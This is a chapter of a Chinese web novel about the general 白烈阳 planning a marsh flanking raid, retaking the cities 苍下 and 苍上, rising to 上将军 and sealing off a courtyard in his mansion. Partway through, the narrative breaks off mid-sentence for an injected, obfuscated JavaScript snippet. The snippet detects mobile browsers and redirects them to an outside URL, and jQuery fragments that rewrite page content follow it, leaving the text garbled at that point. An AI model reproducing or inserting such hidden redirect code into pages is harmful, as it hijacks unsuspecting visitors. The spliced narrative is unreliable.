19.第 19 章

作品:《她救的是恶狼

    第二日天还没有彻底亮起来,白烈阳就起来了。


    沈楫过来时,看到新上任的前将军对着排兵布阵的草盘,一副神情专注思考的样子。


    沈楫问:“将军,是有什么问题吗?“


    白烈阳:“宣令官今天就该启程回去了吧,我写了请旨奏折,正好让他带回去。”


    沈楫还没来及问是何奏折,白烈阳接着说下去:“我决定请旨,延长战期,杀到这里。”


    沈楫朝他所指看去,竟是大翱在十五年前从大务手里、从先帝手里抢走的,距离大翱国都,只有三十里和五十里的两个城池,苍上与苍下。


    “将军三思,”沈楫急步走向草盘,拿起短杖指着两座城池的周围 ,“这三个地方呈包围之势,当年已故的勇将军带着如今的煜王殿下,正是因对此种地型的疏忽,才丢掉的两地。”


    “那场战斗的惨烈程度,与你受困养岭大军,遭遇哈漠莫斯不相上下,煜王那时还不是大将军,且是他第一次上战场,如果不是勇将军拼死保护,煜王差一点就回不去京都了。”


    沈楫饱读诗书,对大务朝百年来的所有将军的事迹如数家珍,对丢掉苍上的过程也了如指掌,他不认为现在是夺回两城的好时机。


    但白烈阳不为所动,听沈楫说完,他平淡地道:“鄂颜拔都也是这么认为的,他更想不到,我们怎么可能会比扎营在苍下的他更早到达苍上。”


    鄂颜拔都是大翱新一任的王,颇有野心为人激进。上一任的大翱王自从夺得了两城后,就开始休养生息,不曾再来骚扰大务边境,漠兰城得已太平了十五年。


    但,自从鄂颜拔都上任后,他不满足于现壮,他想要漠兰城。


    可惜他遇到了一腔愤恨,一心想要往上爬的不怕死的泥腿子白烈阳。


    白烈阳打起仗来不仅不要命,还有头脑。鄂颜拔都与之前的漠兰城守将对战的经验,让他小瞧了白烈阳。


    一仗败,仗仗败,不得已退回到了苍下。而白烈阳竟然想要绕过鄂颜拔都的军队,抄他身后的苍上,再转过头来打他一个出其不意。


    沈楫陷入沉思,一时没话说。


    因为白烈阳的这个想法,在理论上是说得通的,但问题是,行动呢?具体的行动要如何做?


    绕过鄂颜拔都的大军,说得简单。


    从这里到大翱都城的每一里都可能出现沼泽,如果没有靠谱的资深向导,恐怕他们还没有到达苍上,就会迷失在这百里湿地中。


    沈楫不怕输在战场上,但他绝不打无把握之仗。


    他还是摇头:“我们的人不识路,漠兰城里的,依我看这十几年的养尊处优,他们也不见得找得出这样的向导来。”


    白烈阳:“如果有呢?如果我们找到了对这里地型地貌极熟悉的人,是不是此战可有一打?”


    沈楫:“谁?你找到了?”


    白烈阳:“首先就是你,我的中郎将,你就是帮我找到此人的关键。”


    沈楫能得这个中郎将,是因为他确实在对大翱的作战中,发挥了他的优势。


    来到北境,进到漠兰城,白烈阳才知道沈楫竟然能说大翱话,能看懂大翱的文字。


    沈楫也是这时才告诉白烈阳,他小时候在这里与义父生活过。后来义父去世,他才一路南下,想去看看书中所描述的南部风光。


    沈楫的义父生前游走在大翱都城与漠兰城之间做些小买卖,按说沈楫跟着路过过不少的沼泽地,但他那时小,并没有把握能安全地绕过苍下,顺利地去到苍上。


    但白烈阳道:“想来此地,应该还有你义父的旧友在吧。我们给出足以打动他们的利益,一定会有人愿意接这个活儿的。”


    沈楫立时明白了白烈阳的意思,这里曾是他的家乡,他了解这里的人与事,他甚至可以找到当年义父的旧友。


    这些旧友与他义父一样,长年在两地奔波,就算不能独自把这百里湿地的路都走通,也自然会知道哪里去找靠谱的向导。


    再加上白烈阳肯许以重利,好像这确实是个实现绕行突袭的办法。


    沈楫一旦接受了白烈阳所说,立时就想到了人选,还不止一位。


    白烈阳反而不急:“先把宣令官送走,然后召集你的部下,此事只有能进这帐中的人知晓。不到改道的最后一步,都要保密。”


    沈楫点头,深以为然。


    稍许,宣令官拿着白烈阳亲手所书的请奏,往京都归转。


    煜王几乎是同时与皇帝知道白烈阳要延长战期的事。原本定的六个月打完的仗,白烈阳请求再多给他半年时间。


    白烈阳在请奏上无一丝掩盖地,敞开了他的野心给皇帝看,他就是想要更多的战功,想要乘胜追击,打到鄂颜拔都五年内再不敢骚扰大务边境。


    他没敢许下夺回苍下与苍上的承诺,他只书:臣受封,愧不敢当,必不负大军长途赴北之艰,势将敌寇驱回敌国大都,保边境长久太平,百姓得以休养生息,念陛下之隆恩,感国朝之威武……


    皇帝问煜王的意见,煜王虽早已把白烈阳列为政敌,但事关战事,他绝不会拿此公事来济私,他认为可以给白烈阳一个机会。


    鄂颜拔都太过嚣张暴烈,打到他无力反击,滚回老巢去,确实下可保边境太平,上可扬国威。


    皇帝正有此意,当即准了前将军的奏请。


    只是战事瞬息万变,白烈阳虽然成功绕路到苍上,并把苍上占领后,转头去打驻扎在苍下的鄂颜拔都。


    但凭借着对地貌地型熟知


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386658|199571||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的优势,最终还是让鄂颜拔都逃回了大都。


    白烈阳只拿下了苍下,苍上因离大都太近,被大翱的驻军及时赶到,白烈阳只短暂地占领了苍上一天。


    之后他不死心,开始了苍下与苍上之间的拉锯战。


    苍下的收复对于朝廷、对于皇帝来说,都是意外的惊喜。皇上很满意,白烈阳在苍下又见到了宣令官,这次他又向上封了一级,成为了锋将军。


    白烈阳之前所封的前将军,与后将军同为三等封号,再上一级的二等就是锋将军与勇将军了。


    大务武将最高一等的将军封号是大将军与上将军,如煜王就是大将军。


    白烈阳顶着锋将军的名头,把这场拉锯战打了一年多,最终他替王朝夺回了苍上。


    其间,他与沈楫用了多少细作,使了多少计谋,打了不知多少的攻守战,皆不可言说。最终锋将军拿下了苍上,鄂颜拔都写下降书,窝在他的大都里不敢再来进犯。


    大军凯旋的日子,距离他们进军北境的时间整整过去了一年半。


    白烈阳继亲手杀死哈济莫斯后,又把丢失了十五年的两座城池拿了回来,这样滔天的战功,自然得到了皇帝亲封的上将军的封号。


    他一下子与大将军煜王,在武将军职上齐平了。


    但正如煜王之前想的那样,他在朝中没有根基,就算皇帝想要抬举他,也需要时间。天时地利人和,缺一不可。


    白烈阳也明白这一点,所以他风光归来后,一趟都没有去过柳西镇。


    他得了座将军府邸,他在其中的一个院子里,种了白莫忧闺阁小院里架秋千用的同款树。


    但他选的这个院子,位于府里最低位次的北面,并且他还下令,把院子里正房的窗户全都封了起来。


    府里新买来的丫环见了这院子,觉得院中的花草树木还有秋千与像墓地一样的暗无天日的房子,实在是不搭,太过违和,因此说了几句嘴,就被管家发卖了出去。


    从此这个北边阴冷的小院子再无人敢多说一句,成为上将军府里不能言说的禁地。


    白烈阳不仅回来后从未踏足过柳西镇,他还在明明只要他一句话,就会有人把柳西镇上发生的一切都能给他打探来的前提下,刻意地从未过问过一句那里的人和事。


    他早就不是当年尚有一丝冲动心性的白烈阳了。就算他把随身的武器,改刀为剑一样,没有以前的直来直往与张牙舞爪。


    他虽为武将,却一副文臣的样子,他把自己从野兽变成了野草,表面随和柔软,微风都能把他吹动,实则扎根在土里,再无人能够把他拔出,把他踩死。


    这一次,白烈阳发誓,他要不,不出手,但凡出手必是狠戾痛击,不给那些要与之算账的人一丝活路。